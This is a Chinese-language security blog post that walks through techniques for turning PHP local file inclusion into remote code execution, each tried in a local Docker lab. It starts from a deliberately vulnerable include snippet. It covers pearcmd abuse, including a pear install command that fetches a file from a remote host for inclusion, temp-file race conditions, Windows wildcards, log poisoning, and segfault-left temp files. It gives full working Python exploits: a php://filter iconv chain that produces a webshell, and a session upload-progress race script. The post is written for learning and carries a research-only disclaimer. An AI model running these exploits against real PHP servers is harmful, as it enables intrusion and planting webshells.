0x00前言

梳理学习一下

环境这里采用docker环境

docker run -d --name testweb -p 9999:80 -v /testweb:/var/www/html php:7.4-apache

然后建立一个文件包含代码

<?php
@include $_REQUEST['file'];
?>

0x01包含pearcmd

1.1pearcmd介绍

pear全称PHP Extension and Application Repository,pecl是PHP中用于管理扩展而使用的命令行工具,而pear是pecl依赖的类库。在7.3及以前,pecl/pear是默认安装的;在7.4及以后,需要我们在编译PHP的时候指定--with-pear才会安装。,在docker中默认安装安装的路径在/usr/local/lib/php,如果是apt安装路径在/usr/share/php/

1.2利用条件

目标装了pear组件,register_argc_argv为On,可以包含到pearcmd.php文件(不受open_basedir和文件后缀束缚)
docker环境下默认开启register_argc_argv 默认安装pearcmd.php

register_argc_argv为On时$_SERVER['argv']和$_SERVER['argc']会记录一些东西,在web模式下,传参时用+连接的值的个数就是argc,各个参数被存到argv里

<?php
var_dump($_SERVER['argc']);
var_dump($_SERVER['argv']);
?>

29410-zt6klhfvulg.png

1.3无网环境利用

命令生成的文件位置在当前目录下的mo60.php

pear config-create /'<?=phpinfo()>' ./mo60.php

这里使用burp抓包,直接url中get传参会把<这些字符自动编码

?file=/usr/local/lib/php/pearcmd.php&+config-create+/'<?=phpinfo()?>'+./mo60.php

这里没有权限创建到web目录

65801-z0nduf4box.png

改到tmp目录下

?file=/usr/local/lib/php/pearcmd.php&+config-create+/'<?=phpinfo()?>'+/tmp/mo60.txt

81311-ryrc7ohv65.png

然后利用文件包含即可执行

06903-oxvls51a3p.png

1.4 可出网利用

下载文件

pear install -R / http://192.168.1.1/2.txt

构造语句

?file=/usr/local/lib/php/pearcmd.php&+install+-R+/+http://xxxxxx/1.txt

下载到了/tmp/pear/download/1.txt,web目录有权限可以下载到web目录

36445-2avvak3g7wk.png

然后包含

http://10.68.1.3:9999/?file=/tmp/pear/download/1.txt

95054-t2ntyw4re7.png

0x02 phpinfo与条件竞争

我们对任意一个PHP文件发送一个上传的数据包时,不管这个PHP服务后端是否有处理$_FILES的逻辑,PHP都会将用户上传的数据先保存到一个临时文件中,这个文件一般位于系统临时目录,文件名是php开头,后面跟6个随机字符;在整个PHP文件执行完毕后,这些上传的临时文件就会被清理掉。

在当前环境下添加一个phpinfo.php

<?php phpinfo();?>

所以这个利用的条件就是,需要有一个地方能获取到文件名,例如phpinfo。phpinfo页面中会输出这次请求的所有信息,包括$_FILES变量的值,其中包含完整文件名:

40155-e901njj5t4p.png

这个文件名也是这一次请求里的临时文件,在这次请求结束后这个临时文件就会被删掉,并不能在后面的文件包含请求中使用,所以此时需要利用到条件竞争(Race Condition),原理也好理解——我们用两个以上的线程来利用,其中一个发送上传包给phpinfo页面,并读取返回结果,找到临时文件名;第二个线程拿到这个文件名后马上进行包含利用。

这里使用原作者给出的利用脚本
https://github.com/vulhub/vulhub/blob/master/php/inclusion/exp.py

修改一下配置信息

84683-7wc85rxxyhc.png

用100线程进行了大概110次尝试,最终成功,成功后会写入一个新的文件/tmp/g

50487-zuy51p42tnm.png

利用
35726-ibhoj4yn3q.png

2.1Windows 通配符

上面的方法存在2个条件

  • 1.存在phpinfo等可以泄露临时文件名的页面
  • 2.网络条件好,才能让Race Condition成功

如果在没有phpinfo或者其他方式获取文件名的情况下但是如果目标操作系统是Windows,我们可以借助一些特殊的Tricks来实现文件包含的利用,PHP在读取Windows文件时,会使用到FindFirstFileExW这个Win32 API来查找文件,而这个API是支持使用通配符的。

MSDN官方文档说明

  • DOS_STAR:即 <,匹配0个以上的字符
  • DOS_QM:即>,匹配1个字符
  • DOS_DOT:即",匹配点号

那么我们只要包含tmp路径/php<<就可以进行rce了,我的测试环境如下f.php文件包含的,phpsEFshs来模拟session文件

29507-kfcbyyfcbsa.png

然后包含php<< 成功执行phpinfo

f.php?file=php<< 

43670-70dcg37bxv.png

0x03使用php://filter将任意文件转换成Webshell

这个来源于hxp2021的另一题counter,国外一个大佬的非预期解法:https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

主要的思路就是利用php伪协议的转换过滤器,通过字符集转换来生成特定的内容,同时利用base64“宽松的解析”(当需要解析的字符串中含有base64表中不存在的字符时,不会报错,而是将其丢弃并继续解析),将其中不可见的字符丢掉,只剩下我们想要的结果。

如何利用字符集转换生成我们想要的内容(filter chain的寻找)其实是这个trick的核心部分,Zeddy的文章中有讲到该如何fuzz,同时wupco师傅也给出了现成的结果以及fuzz脚本:https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT

exp

import requests

url = "http://10.68.1.3:9999/"
file_to_use = "/etc/hosts"
command = "whoami"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"

r = requests.get(url, params={
    "0": command,
    "file": final_payload
})

print(r.text)

成功执行

98653-a8pvmjczzrh.png

3.1限制

某些字符集在某些系统并不支持,比如Ubuntu18.04解决的办法其实并不难,只需要将新的字符集放到wupco师傅的脚本中再跑一次就可以了,这里直接使用Smity师傅脚本

import requests

#参数file
url = "http://10.68.1.3:9999/"
file_to_use = "index.php"
command = "whoami"

#<?=`$_GET[0]`;;?>
base64_payload = "PD89YCRfR0VUWzBdYDs7Pz4"

conversions = {
    'R': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2',
    'B': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    '8': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    's': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    'U': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'V': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5',
    '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
    'Y': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'd': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2',
    'D': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2',
    '7': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2',
    '4': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2'
}


# generate some garbage base64
filters = "convert.iconv.UTF8.CSISO2022KR|"
filters += "convert.base64-encode|"
# make sure to get rid of any equal signs in both the string we just generated and the rest of the file
filters += "convert.iconv.UTF8.UTF7|"


for c in base64_payload[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"

filters += "convert.base64-decode"

final_payload = f"php://filter/{filters}/resource={file_to_use}"
r = requests.get(url, params={
    "0": command,
    "file": final_payload
})

print(r.text)

0x04 session.upload_progress与Session文件包含

PHP中可以通过session progress功能实现临时文件的写入。这种利用方式需要满足下面几个条件:

  • 目标环境开启了session.upload_progress.enable选项
  • 发送一个文件上传请求,其中包含一个文件表单和一个名字是PHP_SESSION_UPLOAD_PROGRESS的字段
  • 请求的Cookie中包含Session ID

PHP在开启了session.upload_progress.enable后(在包括Docker的大部分环境下默认是开启的),将会把用户上传文件的信息保存在Session中,而PHP的Session默认是保存在文件里的。

我们可以尝试发送满足上述条件的数据包来测试一下,但会发现虽然我们可以让PHP开启Session,从而在/tmp目录下遗留下Session文件

08996-g03sea10py7.png

但这个文件内容是空的

06345-qu0mbc1z3nd.png

原因是,PHP中还有另外一个配置项session.upload_progress.cleanup,默认开启。在这个选项开启时,PHP会在上传请求被读取完成后自动清理掉这个Session

所以,默认情况下,我们需要在Session文件被清理前利用它,这也会用到条件竞争(Race Condition)因为这里的Session文件名是可控的
这里使用p牛的脚本

import threading
import requests
from concurrent.futures import ThreadPoolExecutor, wait

target = 'http://10.68.1.3:9999/index.php'
session = requests.session()
flag = 'mo60'


def upload(e: threading.Event):
    files = [
        ('file', ('load.png', b'a' * 40960, 'image/png')),
    ]
    data = {'PHP_SESSION_UPLOAD_PROGRESS': rf'''<?php file_put_contents('/tmp/success', '<?=phpinfo()?>'); echo('{flag}'); ?>'''}

    while not e.is_set():
        requests.post(
            target,
            data=data,
            files=files,
            cookies={'PHPSESSID': flag},
        )


def write(e: threading.Event):
    while not e.is_set():
        response = requests.get(
            f'{target}?file=/tmp/sess_{flag}',
        )

        if flag.encode() in response.content:
            e.set()


if __name__ == '__main__':
    futures = []
    event = threading.Event()
    pool = ThreadPoolExecutor(15)
    for i in range(10):
        futures.append(pool.submit(upload, event))

    for i in range(5):
        futures.append(pool.submit(write, event))

    wait(futures)

运行后成功写入

80017-5ivg6cimu0a.png

这个php临时文件的目录在不同环境是不一样的,我们可以根据不同的环境改一下exp

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

0x05日志文件包含

在常规黑盒的情况下,我们通常想到的RCE方式是包含一些WEB日志文件或者系统日志文件,通过http请求去写入一些php一句话,然后包含日志文件

19882-61htm8qrrg2.png

查看日志文件发现成功写入

75978-fd81d9kra7.png

一般的日志文件只有root组才能访问,所以我们无法包含,所以这里包含失败了

94589-skgj6dhhvsi.png

如果是root权限的情况下找不到中间件日志可以通过包含ssh日志,设置登入用户名为phpinfo();

12763-1mhmtan1bnz.png

然后包含/var/log/secure 即可

28501-lyyfmw9voeo.png

可以根据对方机器上出现的服务来进行测试

0x06 Segfault遗留下TEMP文件

PHP底层是C语言开发的,不少内存错误都会导致进程异常退出,当然不论是Apache还是PHP-FPM都会存在master进程,在某一个子进程异常退出后会拉起新的进程来处理用户请求,不用担心搞挂服务器。

国内的安全研究者王一航 曾发现过一个会导致PHP7 crash的方法

include 'php://filter/string.strip_tags/resource=/etc/passwd';

这个Bug在7.1.20以后被修复,这里使用7.1.19版本的PHP进行尝试

docker run -d --name testweb -p 9999:80 -v /testweb:/var/www/html php:7.1.19-apache

文件包含的目标发送这个导致crash的路径,可见服务器已经挂了,返回空白

47443-f3i034kx3la.png

我们可以尝试发送多次这个请求,然后来到容器里,可见有多个临时文件都被留在了/tmp目录里:

98328-chzs9tnzq3.png

可以多发送几次来减少爆破的时间,以及成功几率

0x07参考

https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html
https://k1te.cn/2022/01/10/LFI%E5%AD%A6%E4%B9%A0/
https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d
https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
https://hackmd.io/@ZzDmROodQUynQsF9je3Q5Q/B1A2JIjjm?type=view
https://wx.zsxq.com/dweb2/index/topic_detail/218285425841411
https://tttang.com/archive/1395/#toc_craft-base64-payload
https://blog.csdn.net/qq_50643984/article/details/126598547
https://www.jianshu.com/p/dfd049924258

最后修改:2022 年 10 月 17 日
  • 本文作者:Juneha
  • 本文链接:https://blog.mo60.cn/index.php/archives/502.html
  • 版权声明:本博客所有文章除特别声明外,均默认采用 CC BY-NC-SA 4.0 许可协议。
  • 文章声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任,本人坚决反对利用文章内容进行恶意攻击行为,推荐大家在了解技术原理的前提下,更好的维护个人信息安全、企业安全、国家安全。
如果觉得我的文章对你有用,请随意赞赏